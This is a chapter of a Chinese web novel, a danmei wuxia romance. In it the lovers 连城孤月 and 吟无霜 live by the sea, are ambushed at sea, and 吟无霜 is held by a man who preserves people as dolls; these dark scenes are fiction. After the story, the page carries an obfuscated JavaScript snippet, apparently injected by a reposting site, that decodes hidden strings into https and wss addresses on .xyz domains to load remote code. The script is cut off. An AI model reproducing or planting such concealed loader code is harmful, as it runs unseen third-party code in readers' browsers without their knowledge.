第189章-一辈子很长很长! (5)(1 / 2)

    被连城孤月带到了二楼天台,躺在摇椅吹风看海景。连城孤月原本就喜欢他喜欢到疯魔,昨晚亲密过之后,这晌看着就更喜欢,坐在身边还嫌不够,几乎想将人时时刻刻搂在怀里,外人看一眼都觉得吃亏。

    “看什么?”大概是由于他的眼神实在太炽热,吟无霜实在很难忽略。

    连城孤月想也不想道,“看媳妇。”

    吟无霜:……

    “一辈子住在这里也挺好。”连城孤月握住他的手,凑在嘴边亲了亲,“我出海打渔,你在家做饭,赚了钱就去镇上买好吃好玩的,江湖闹到天翻地覆也和我们没关系。”

    虽然明知是胡闹,吟无霜却还是配合点头,嘴角弯弯道,“嗯。”

    “算了。”连城孤月又改主意,“打渔做饭都我做,你在家睡觉就行。”

    吟无霜笑出声,拇指和食指捏捏他的脸颊。

    远处,碧海蓝天连成一条线,云朵洁白如絮,往近一些,渔民正在沙滩上晒网补船,一条条银白色的鱼被倒进货仓,每个人脸上的笑容都不掺虚假,空气中满是潮湿气息,连心也跟着宁静起来。

    时间一晃便过去十来天,两人也已经习惯了这里的生活。清晨一起在小楼里看日出,中午去海市散心,晚上太阳下山后,便去海滩散心,踩下一串深浅不一的脚印。

    渔民对两人也很是友好,出于对外头世界的好奇,总会时不时问一两句,连在海市上遇到时,也会多给两条鱼,连城孤月道过谢后拎在手里,对吟无霜道,“回去煮汤吃。”

    吟无霜眼底带笑,“嗯。”

    海市上很热闹,除了渔货海菜之外,还有不少稀罕小玩意。连城孤月蹲在一个小摊前,拿起一串小小的红色珊瑚珠,冲吟无霜晃了晃。

    “公子好眼力啊。”小老板笑呵呵道,“这种成色的珊瑚,在海里可不多,若是拿去北边大地方,价格还要再翻倍,错过就再没了。”这话自然是吹嘘成分居多,无雪门里莫说是这种不值钱的珊瑚珠,就算是深海血珊瑚也不在少数,但两人自然不会计较这些,觉得圆润好看便买了,和一堆鱼肉菜一起拎回家,准备自己开火做饭。身后是暖烘烘的夕阳,照得人挺舒服。

    厨房里干净整洁,不过两人厨艺却都不怎么样,也就勉强能将东西烧好的水准。连城孤月将鱼洗干净,然后甩手丢下锅。

    噼里啪啦的声音霎时响起,油花四溅,吟无霜迅速躲到门口。

    连城孤月抱着必死的心情,往里加了些盐,然后迅速浇了一大勺水进去,扭头道,“好了进来,不溅油了。”

    吟无霜皱眉,“能吃吗?”

    连城孤月想了想,道,“没事,还有别的菜。”

    吟无霜:……

    幸好海边的鱼够新鲜,因此即便是三脚猫的厨艺,只要不糊也能出鲜味。连城孤月将鱼汤倒进砂锅中,用小火慢慢煮。

    厨房早已狼藉一片,吟无霜摇头,上前道,“我来吧。”

    连城孤月道,“你会?”

    吟无霜道,“至少比你强。”

    连城孤月交出铲子,然后道,“要是厨房着了,我们就赶紧跑。”

    吟无霜懒得与他贫嘴,自己将锅擦干净,倒了些油进去。

    连城孤月无所事事,从身后抱住他,一副万年牛皮糖的架势。

    虽说也没怎么做过饭,但天分这种东西也没法解释,半晌之后,热腾腾的的四菜一汤便摆到了桌上,吟无霜洗洗手,道,“吃饭。”

    连城孤月将他抱到怀里,低头狠狠亲了一下,“怎么这么贤惠啊。”

    吟无霜哭笑不得,伸手将他推开。

    而从这天后,两人也便没再去外头吃过饭,海边海产多,天天换也不会重复,早上一起手牵手赶集市时,也很有几分寻常小夫妻过日子的架势,潮起潮落间,是最幸福不过的气息。

    但即便是再留恋这里,却还总会有正事要做,在一个安静的黄昏,联络人终于从染霜岛上回来,说让两日后的清晨去最东边码头,会有一艘红色船只接两人去见鬼手神医。

    送走联络人后,吟无霜躺在摇椅上,看着满天繁星出神。

    “治好伤后,我们再来这里。”连城孤月道,“这座宅子我已经买下来了,留着将来养老用。”

    吟无霜收回视线,扭头看他。

    “冬天无雪门太冷,你若是在长白山住腻了,我们就来这里。”连城孤月握住他的手,神情很是认真。

    吟无霜笑笑,“好。”

    连城孤月凑近,在他眉梢轻轻落下一个吻,而后便将人拦腰抱起,转身回了房间。

    桌上红烛跳动,青竹小床晃晃悠悠,情|欲蔓延席卷,像是永远都不会散去一般。

    锦缎石兽被丢到一边,大张着嘴进行了全程围观。

    直到后半夜,这场情爱才云消雨散。吟无霜脸色有些苍白,哑着嗓子咳嗽。

    连城孤月下床帮他倒了温热茶水,喂着喝完一杯,“要不要吃些药?”

    吟无霜皱眉摇头,一个字都不想说,只想好好睡一觉。

    连城孤月将他抱进怀里,手在背上轻抚安慰,直到确定怀中人已经沉沉睡了过去,方才低头亲了亲,动作温柔到无以复加,生怕会将人惊醒。

    两日之后,也是约定好的时间,两人一早便起了床,把屋内收拾整齐后,连城孤月将衣物收进包袱,最后只剩下那只锦缎石兽,然后试探道,“不然我们将它留下?”

    吟无霜坚定摇头,“不。”

    “总归也要回来的。”连城孤月继续道,“而且这么大,带着也不方便。”

    吟无霜继续摇头,“不。”

    连城孤月心塞。

    吟无霜皱眉看他。

    “好好好,带着带着。”连城孤月赶紧投降,将那只石兽三下五除二塞进了包袱,由于太大,还露出一个蹄子在外面,老老实实背在背上,“看,装进去了。”

    吟无霜四下看了看,然后道,“走吧。”

    屋门被落了大锁,远处天际也才刚刚露出鱼肚白,两人手牵手出了渔村,一路前往东方码头而去,在那里果然停着一艘红色大船,跟船工确认过之后,便登船离岸,向着无边深海而去。

    这日傍晚时分,小渔村里突然传来一声惊呼,“着火了啊!”

    大家伙闻讯纷纷吓了一跳,赶忙从自家宅子里跑出来,就见在村子南边,那处被两位公子买下来的小楼正烈火熊熊,几乎要照亮半边天际。

    村民赶忙拎着水桶前去扑火,但却也于事无补,整座木楼如同被浇了火油一般,越燃烧越旺盛,一直到最后一根房梁都化为灰烬,方才自己熄灭。

    知道两人已经出了海,村民也只有在心里惋惜,想着若是他二人想再建,全村一人搭把手,估摸也用不了多久。

    一个黑影站在远处礁石上,直到看着木楼燃尽,方才发出诡异笑声,转身向另一头跑去,须臾便消失在了黑暗里。

    船只继续在海上前行,按照船工所讲,若是一路都风平浪静,赶到染霜岛也要半个月左右,运气不好遇到暴风雨,那便要找一处荒岛躲避,只会拖得更久,急也急不来,只能求老天保佑。不过幸好两人都不是急躁的性子,虽说在海上漂流的日子乏味了些,但有心爱之人陪在身边,倒也不觉得枯燥。碧蓝海面一望无际,经常会有飞鱼跳起落下,还会有商船靠近,拿着一些深海里找到的稀罕石头和贝壳卖,在阳光下亮闪闪,很是好看。

    微风徐徐,两人肩并肩坐在船舷上,看天边流云被风吹散,瞬息万变。

    船工平日都不会打扰两人,连城孤月揽过他的腰,凑过去亲了亲。

    吟无霜靠在他肩头,“像是要起风了。”

    “我问过船工。”连城孤月道,“这种天气在海上很正常,晚上船大概会有些晃,不过不算大事。”

    “还有两三天就该到了。”吟无霜道,“听说染霜岛很美,这个季节到处都是花。”

    “鬼手前辈住的地方,自然不会差。”连城孤月帮他整好头发,“不过长白山也很漂亮,你去了便会知道。”

    吟无霜笑笑,“嗯。”

    夕阳落下海面,举目望去,四处皆是细碎金沙,宛若仙境一般。

    夜晚一如既往的安静,两人在船舱内相拥而眠,耳边是阵阵海浪,安宁又平静。

    “好好睡。”连城孤月又亲了一下他,方才恋恋不舍放开。

    吟无霜安心缩进他怀中,只是还没来得及睡着,却觉得船身微微一摇,像是被什么东西撞了一下。

    连城孤月翻身下床,披衣前去看究竟。

    暗黑夜色中,几个船工正在船头忙乎,看不清是在做什么。

    “公子。”见他过来,其中一个船工道,“正好,过来搭把手,哥几个实在没办法了。”

    “怎么了?”连城孤月上前。

    “不知道撞到了什么东西。”船工道,“黑灯瞎火的,也看不清。”

    连城孤月站在船头往下看,却觉得身后传来一阵破风声,心里一惊本能闪开,就见一把匕首重重钉在船舷。一个船工从一旁拿起布袋,将里头粉末状的东西冲他撒了过去,连城孤月纵身跃起,心知中了暗算,掉头便想去找吟无霜。那几个船工一扫前几日憨厚寡言的模样,个个面目狰狞扑上来,却没有与他缠斗几招,而是在听到一声清脆哨响后,便转身跃入茫茫海面。

    巨大的爆炸声传来,火球从船上腾空而起,照亮整片天。

    “无霜!”连城孤月撕心裂肺大吼。

    大船须臾间四分五裂,伴随着熊熊烈火一起沉入海中。连城孤月飞身掠过几块木板,命也不要的往里冲,却什么也没找到。最后一点火光也被浪潮打灭,海面上只剩几块焦黑浮木,四周水面一望无际,安静到放佛什么事都没发生过。

    连城孤月单手握着一块木板,就着惨淡星光,咬牙在海里一点一点搜寻,手臂被木片划伤也全然不顾,海水与血水融在一起,是最彻骨的寒冷。

    嗓子喊到嘶哑,却再也换不来那人的一个回应,从星光满天到日出海面,四已是干干净净,连半块浮木也不剩。

    身体早已麻木,心也跟着麻木。

    漫天朝霞下,连城孤月颓然闭上双眼。

    原来疼到极致的时候,也就不会再疼了。

    【连城孤月X吟无霜】9

    混沌黑暗之中,像是有什么耳边喧杂,努力想要听清,却又觉得声音忽近忽远,前头依稀有光,朦朦胧胧映出一个人的影子,连城孤月眉头紧皱,想要伸手去触碰,全身却像是被卸掉了力气,动也动不了,心头毛躁无比,咬着牙尽力挣扎了一下,竟然真的睁开了眼睛。

    “你醒了。”耳边传来一个年轻女子惊喜的声音,而后便道,“快去告诉老夫人,这位公子醒过来了。”

    连城孤月眉头紧皱,脑海里瞬间闪过无数片段,而后猛然想起当日的事情,顿时掀了被子就想下床,却觉得手脚一阵酸软,若非旁边家丁手快,险些跌倒在了地上。

    “你先躺回去啊。”那女子也被吓了一跳,赶紧帮着家丁将他搀回床上,“在海里熬了太久,寒气渗到了骨子里,要好好调养才成。”

    “这里是哪?”连城孤月哑声问。

    “兰家礁。”女子道,“我们的商船在路过丧魂湾附近的时候,见你正昏迷不醒趴在一块木板上,于是便救了上来,连老夫人也说了,她从未见过像你这般命大的人。”

    “有没有救到其余人?”连城孤月一把握住她的衣袖,急急道,“也是个二十来岁的男子,穿着白衣。”

    “没有了。”女子摇头,“只遇见了你一个人。”

    连城孤月闻言跌坐回床上,半晌也没出声。

    那女子一边打发婢女去倒水,一边扶着他坐好,小心翼翼道,“你是遇到了海难吗,那个白衣公子是你的朋友?”

    “是暗算。”连城孤月声音嘶哑,回想起当日冲天火光,整个人都像是被刀撕裂。

    见他这样,女子也识趣没有多问,递了热茶给他润嗓子。

    “老夫人。”外头传来家丁的声音,而后便见一个满头华发的老太太走了进来,遍身珠翠,很有几分大户人家的主母气场。

    “老夫人。”屋内其余人也行礼。

    “醒过来了啊。”老夫人坐在椅子上,替他试了试脉搏,“也是个命大的,居然缓过来了。”

    “我们夫人医术高明,是她救活你的。”那女子在一边道。

    连城孤月微微点头,“多谢老夫人。”

    “看你的手茧,不像是商人,倒像是个习武之人。”老夫人道,“怎么会独自一人出现在丧魂湾?”

    “我原本是要去染霜岛找鬼手神医。”大概是当夜在海中喊了太久,连城孤月嘴唇干裂,多说几个字嗓子便如同火烧。

    “去染霜岛?”老夫人闻言皱眉,“那可不该是这个方向。”

    果不其然啊……连城孤月神情苦涩,将事情大致说了一遍。

    “怪不得。”老夫人道,“仇家要杀你?”

    连城孤月摇头,“我在这里没有仇家,那些歹徒十有**是冲着我夫人来的。”

    “那伙歹人胆子也不小,竟然敢去丧魂湾。”那女子自言自语,突然眼前一亮,“会不会又是那伙疯子干的?”

    “谁?”连城孤月追问。

    女子道,“青龙猛虎什么七十二,叫什么来着。”真是一点都不好记。

    “天煞青龙猛虎七十二宫?”连城孤月心里骤然出现一点亮光。

    “没错没错,咦你怎么会知道。”那女子诧异,然后又狐疑,“你夫人是不是那个中原第一美人,叫吟无霜?”

    “是他。”连城孤月也顾不得全身脱力,着急道,“姑娘还知道些什么?”

    “你先别急。”那女子看了看老夫人,见她微微点了下头,方才继续道,“丧魂湾是南海的一处绝命湾,其实先前也没这说道,但从前几年开始,那里便开始整日泛迷雾,经常有船只失踪,后来此事传开后,过往商船便纷纷宁愿绕远也要改道,那里也就成了荒凉之地。”

    “那天煞宫呢?”连城孤月追问,“还有,你怎么会知道吟无霜?”

    “二少爷天生就能在迷雾中辨别方向,所以我家的商船倒也没受什么影响,一直继续走丧魂湾附近的捷径。”女子道,“原本已经习惯了那里连一个人影都没有,谁知道有次竟然遇到了一艘船,上头有大概十来个黑衣男子,看上去有些愣头愣脑,兴高采烈说自己是什么天煞宫的,还说武功高强不怕丧魂迷雾,要去中原提亲,娶第一美人吟无霜回来。”顿了顿,女子又道,“先前还当第一美人是个姑娘,后头二少爷却说是个男子,所以我们便也记下了名字,他是你的夫人?”

    “是。”连城孤月沙哑咳嗽,“这里离丧魂湾与染霜岛有多远?”

    “离丧魂湾行船要五六天。”老夫人道,“至于染霜岛,没人知道具体在哪里,我只能估摸个大概,约莫要十五六天。”

    “我有多久才能恢复?”连城孤月又问。

    “少说也要十来天。”老夫人道,“寒气要驱干净,否则会落下病根子。”

    “我等不及。”连城孤月摇头,强忍着酸疼恳求,“求老夫人用最快的法子治,我要去找无霜。”

    “最快也要五六天,何必急于一时。”老夫人道,“况且就算是治好了,你也未必能闯得过丧魂湾,那天煞宫来路诡异,没人知道具体位置究竟在哪里。”

    “我带你去。”几人说话间,又有一个年轻男子从门外走进来,看模样像个书生。

    “二少爷。”那女子打招呼。

    “你?”老夫人闻言皱眉。

    “母亲。”那男子道,“这次去渔港的时候恰好听到消息,他是连城一族的少主。”

    “当真?”老夫人闻言惊讶,看着连城孤月道,“你是十三娘的儿子?”

    连城孤月意外,“夫人与我母亲认识?”

    “真的是啊。”这么一提醒,老夫人才觉得面前这个年轻男子眉眼是有些熟悉,于是笑道,“认识归认识,不过都是二三十年前的事情了,后来她销声匿迹,我也嫁到了南海,便失了联系。”

    “丧魂湾吞噬了不少商船,我也早就想进去看个究竟。”那男子道,“此番正好与连城兄一起,也算多个帮手。”

    “老夫人。”连城孤月忍着酸疼,翻身下床欲跪,却被一把扶住。

    “罢了,我答应你们,不过务必要小心。”老夫人微微皱眉,对二儿子道,“听方才连城少主所言,那伙人应该不简单,不可轻举妄动。”又对连城孤月道,“想让你多等几天怕是不可能了,我会尽快将你治好,但只怕要吃些苦头。”

    连城孤月点头道谢,虽说多少算是有了希望,心里却依旧一片焦虑。

    兰家礁的二少爷名叫兰溪,是兰家商队的掌舵人,也是这座小岛通往外界的关键人物。他早年便经常听母亲提及当年的事,所以对十三娘也有些印象,这次去渔村时听到几个江湖人传连城孤月在附近,还想着要不要去拜访,也好问些十三娘的近况,回去告诉母亲哄她开心,后来却因为时间太赶而作罢。只是万万没想到,两人竟然会用这种方式见面。

    那艘染霜岛的船只明显有问题,很有可能真正的船夫已经遇害。兰溪当即便派了一艘小船,前往染霜岛附近,希望能有机会遇到岛上的人,也好将此事告知鬼手神医。老夫人则是一门心思给连城孤月治伤,寒气入骨本该慢慢调养,此番急功近利,所受的痛苦便也要大上许多。泡在滚烫药水之中,连城孤月牙关紧咬,额头沁出冷汗,让老夫人将银针慢慢刺入穴道,只想着能快些恢复武功,好将他早些带回身边。

    而在另一处海岛,幽幽迷雾正蔓延笼罩,带着阵阵腥臭海藻气息,让人闻之作呕。

    一座空荡荡的宅院里,吟无霜被反绑着双手捆在铁柱上,黑发凌乱,双眼一片冰冷。

    “又见面了。”面目狰狞的黑衣男子笑容丑陋,凑近看着他的五官,“十多年没见,你果真没让我失望,比当初更好看了。”

    “你想做什么。”吟无霜声音里没有任何波动,只是冷冷看着他。那日听到船头的打斗声后,他便知道是出了乱子,只是还未来得及出去,船舱内便骤然起了一股迷雾,呛到连眼睛都睁不开,紧接着就被人一掌击中后脑,失去了知觉。

    再次醒来的时候,就已经被捆在了这里,而面前的黑衣男子,则正是当年千刀引香带来无雪门做客的徒弟,千机言。

    虽说当时只是小孩,却已经对他心生反感,只觉得这人身上总是有一股近乎于偏执的暗黑气息,没想到多年不见,他竟然会变得更加丧心病狂,更没料到他武功竟然会诡异到这种程度。

    “多漂亮的一张脸啊……”千机言像是没听到他说话,只是一直盯着他看,嘴里喃喃也不知在说什么,过了半晌却抓着头咆哮,“你为何要跟他上床?为何?”说完后又嘿嘿狞笑,“不过没关系,现在他只怕连尸体都被鱼虾啃尽,连个渣滓都不剩了。”

    阴森的笑声里,吟无霜看着面前这个疯子,大脑一片空白,指甲深深嵌进手心,想起两人在渔村的温馨时光,只觉心也被一片片剥落,刀割般鲜血淋漓。

    “你哭啊,你怎么不哭?”千机言在他面前怒吼。

    吟无霜眼底无风无浪,只是一语不发看着他。淡漠了二十多年的心里第一次燃起怒火——此生此世,他从未如此恨过谁。

    若心爱之人已经葬身海底,那自己也不会独活于世,只是在那之前,该讨的债,该报的仇,他一丝一毫也不会落下。

    “不哭也好,若是眼睛肿了,可就不好看了。”千机言目色痴迷看着他,像是在欣赏一件无价珍宝,“这些年行走江湖,也遇到了不少美人,却没一个能比得过你,那个沈千凌我也去看了,长得倒是不错,气质却与你差之千里,就算勉强做出来,也不会是稀世珍品。”

    “你到底想做什么?”吟无霜皱眉。

    “我给你看样东西。”见他问起,千机言又低低笑出声,像是怕打扰到谁,往左边墙壁指了指。

    吟无霜顺着他的方向看过去,就见仅有一面墙而已,只是还没来得及问,那扇墙壁竟然缓缓转开,露出后头的房屋,或者说是魔窟。

    屋子里被镶嵌了无数夜明珠,因此虽说没有窗户,里头却也很是亮堂。正中摆着一张贵妃椅,上头靠躺着三个美貌女子,皆是面容精致皮肤白皙,衣着极其华丽,却全部一动不动,眼中丝毫神采也无,脸上的表情也是万年不变。

    与其说是人,倒不如说是人偶。

    即便是见惯大风大浪,看到这一幕,吟无霜后背还是泛上寒意。

    “好不好看?”千机言在他耳边诡笑,“都是我这些年找到的美人,虽说远远比不上你,却也算难得了,其实应该有八个的,可惜后头却由于没熏制好,也保存不了多久,到头来只剩下了这些。”

    “你这个疯子。”吟无霜看着他,若非亲眼所见,他也不会相信,这世上竟会有人丧心病狂到这种地步。

    “我是疯子?”千机言大笑,“那死老头也这么说,还要将我逐出师门,所以我便将他杀了。美好的东西,自然要被永远保存下来,否则这么完美的一张脸,过个几十年就老了,该有多可悲。”

    看着他扭曲变形的脸孔,吟无霜只觉多一眼都胃中作呕。

    “只是可惜,我没有将你早些弄到手,竟然会被别人破了身子。”千机言狠狠握着拳头,暴躁在屋内走了两圈,又骤然停在他身边,“不过没关系,到那时候,我保证会将你洗得干干净净,一点其他男人的味道都没有。”

    “滚。”吟无霜语调寒凉。

    “让我滚?”千机言啧啧摇头,“我可是要陪在你身边一辈子的,等你动不了的时候,还要每天帮你洗脸梳头换衣,又岂能说滚就滚?”

    墙壁被重新转了回来,千机言又从一边拿出一个盒子,打开之后,满是扑鼻异响,“这是老头子做出来的透骨香,他至死都不肯将配方说出来,那又如何,不过如此罢了。”说完手一扬,竟然将那盒香从窗户丢了出去。

    “你就是雷勇的师父?”吟无霜皱眉。

    “没错,就是我。”千机言道,“我原本不想收他做徒弟的,可是后来却改了主意,你可知是为什么?”

    吟无霜一语不发看着他。

    “因为有一次我路过茶棚,正好听到有人在说你与连城孤月。”提及此事,千机言语调又狰狞了几分,“所有人都说你们要成亲,只有雷勇,他与我一样,觉得这世上没人能配得上你,所以我便收他做了徒弟。”

    吟无霜冷笑,“若是雷勇早知有今日下场,只怕会恨不得咬断自己的舌头。”原本只是个小毛贼,就算被抓到充其量也就关几年,如今却成了江洋大盗,余生都会在流放苦役中度过,才是真的生不如死。

    “这世上没有人能配得起你。”千机言围着他转圈,“老天爷将你生得如此无可挑剔,原本就该独自一人孤芳自赏,年华不老容颜不灭,永远是这副漂亮模样。”

    吟无霜心里摇头,对他的厌恶也更上一层。

    先前见面时,他只知此人对“完美”二字有一种近乎于病态的追求,却没料到他最后会采取如此极端消极的方法,用毁灭一切去成全他自己。

    “这么多年,我果真没有白白等你。”千机言道,“哪怕寻遍这世间,也不会再找到像你这般完美的人,尤其是眼睛。”

    “眼睛?”吟无霜冷笑,目光扫了一下旁边早已合上的墙壁。

    “我从未见过这么黑这么亮的眼睛。”千机言双目痴迷,像是已经看到了此生最完美的作品,想了想却又泄气,“只是我到现在还未想出办法,要如何保存眼睛里的神采。”那些人偶不管制成后再完整,眼里也始终是一片死灰,无论如何也改不掉。

    “因为眼睛连着心。”吟无霜冷冷看着他,“心死了,眼睛自然也就死了。”

    “不会。”千机言摇头,咬牙道,“你的眼睛这么美,我一定会想办法保存下来。”

    “那你便等着吧。”吟无霜别过视线,不想再和他对视。

    “最近阴雨有些多,不适合开工。”千机言痴痴道,“不过倒也不着急,在那之前,你还要在蚀骨香里熏一段时间,十几天后,每一根骨头都会散发出奇香,肤色也会更透。”一个盒子被抽了出来,打开后是一块砖块样的东西,“这便是蚀骨香,和那老东西做出来的透骨香不同,闻上去没有任何味道,却能真正**蚀骨,我原本在你身边下过,可惜却貌似没成。”言语之间,颇有几分遗憾的意思。

    “熏香屋已经在准备,再过两三个时辰,你便能进去了。”千机言自顾自低语,“你放心,蚀骨香里有迷烟,安睡过去之后,我无论做什么,你也不会觉得疼。”

    吟无霜看似面无表情,脑子却在飞速旋转。

    “这么美的一张脸,马上就能永生了。”提及此事,千机言兴奋到声音都在发抖,想要触碰他却又收回手,像是怕打碎琉璃一般,在屋内高兴走了两圈,又哗啦打开桌上一个大箱子,在阳光照射下,一排排小刀和银针发出刺眼光线。

    “这些就是我的工具。”千机言举着箱子给他看,“到时候它们会在你皮下里游走,剔除掉不需要的部分,然后填上药物。”语调无比平和,放佛是在介绍一道美味,而不是如此恐怖的魔鬼行径。

    又或许在他的世界里,这真的是如同美味般稀松平常的东西。

    手脚被寒铁紧紧锁着,气息也有些紊乱,应该是被下了化功散。凭借自己的内力,要完全逼出去也不是不可能,却至少也要三天时间,但按照他方才所言,最多在三个时辰后,自己就会被送去那间充满迷烟的房屋。

    吟无霜眉头微皱,趁着他欣赏那套工具的时候,迅速往四周看了看。

    铁柱旁边有一道铁栏杆,大概是浇筑的时候没注意打磨,在平滑的表面上凸起了一个小尖,看上去很是锋利。

    吟无霜试了一下距离,然后牙一咬,歪过身子将侧脸狠狠蹭了上去。

    听到这头的动静,千机言骤然回头,看清他的举动后大惊失色,飞速上前想要阻止,却还是迟了一步。

    虽说铁刺很小,却也足以在脸上留下一道两寸长的伤口,再加上吟无霜几乎是拼了命想要毁掉自己容貌,所以半分情面也未留,鲜血不断从伤处渗出,瞬间便染红了半边脸颊。

    “你怎么敢!!!”千机言尖叫失控,整个人都陷入疯狂,抬起手想要打他,却又在撞上他冰冷的眼神后生生遏制,转而将怒火发泄到一边的栏杆,双拳疯了般擂上去,咚咚声不绝于耳,只是眨眼功夫,便将那铁栏打成了一片废墟。

    吟无霜心里暗自揪起,看他的功夫底子,只怕自己就算没中毒,也未必能有十成把握击败对方。当年的千刀引香虽说也是高手,却更加痴迷于雕刻与制香,若真论起武学修为,只怕连他一半都不如。

    这样的水准与路数,绝对不会是千刀引香教出来的,倒像是练了什么邪门功夫,所以才会在短时间内功力大增。

    千机言在屋内狂躁摔打了一阵子,才想起来自己应该先替他处理脸上的伤口,于是几乎是连滚带爬出了屋子,须臾后抱着一个药箱进来,手忙脚乱帮他止血,嘴里念念有词,胸膛剧烈起伏,整个人都像是疯了一样。

    “你是我的,是我的。”千机言中邪一般一遍遍重复,帮他擦掉脸上的血迹,又仔仔细细上了药,然后又取了绳子将他牢牢捆住,确定再也动不了之后,方才满头大汗松了一口气。

    吟无霜闭上眼睛,依旧是万年不变的冷漠表情。

    这道伤口,能留疤最好,就算不留疤,再快也要五天才能彻底复原,而五天时间,足够自己将所有毒逼出来。

    外头突然响起一道铃声,千机言警觉竖起耳朵,脸上也由狂躁变成了阴森,掉头出去查看究竟。

    作者有话要说:【最后】掉头出去查看究竟。

    首发晋江文学城谢绝转载

    【连城孤月X吟无霜】10

    “大师。”在小岛的入口处,几个黑衣男子正守着一艘货船在等,见着他后笑容满面道,“你要的东西我们都带来了。”

    “不错。”千机言递过去一摞银票,“依旧卸到老地方,小心一些。”

    “是。”黑衣男子接过银票,喜滋滋道过谢后便想走,却又千机言被叫住,问道,“外头最近有没有什么异常?”

    “没有。”黑衣男子摇头,“和往常没什么区别,自从大师布下迷阵之后,这一带便安静得很,莫说是人了,连只水鸟都飞不进来。”

    “回去告诉你家大王,这几日注意着些。”千机言吩咐,“若是遇到有人想硬闯进来,格杀勿论。”

    黑衣男子点头领命,将货船上的东西卸了下来。

    千机言看了一阵子,便又转身回了前厅。

    听到他进来,吟无霜神色清冷,连眼皮都没抬一下。

    千机言或许是这江湖上最会制香的人,也是最会雕刻的人,却一定不是最会治病的人。虽然及时上了药,但吟无霜脸上的伤口显然不会在一天内痊愈,红色伤疤在白皙的脸上尤显刺目,千机言看在眼里,几乎连手都要发抖。

    前几年的时候,他也曾找到过一个舞娘,面容美丽身姿妖娆,好不容易拐来这岛上,原本想着能做出最好的作品,谁曾想最后竟会因为她指尖一个小小的伤口,导致全身都开始腐坏,最后不得不付之一炬,想到这一点,千机言心里便更加焦灼,整日里围着吟无霜转,简直恨不得学会仙法,将他的伤痕一把抹平。

<--di--!>
!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD 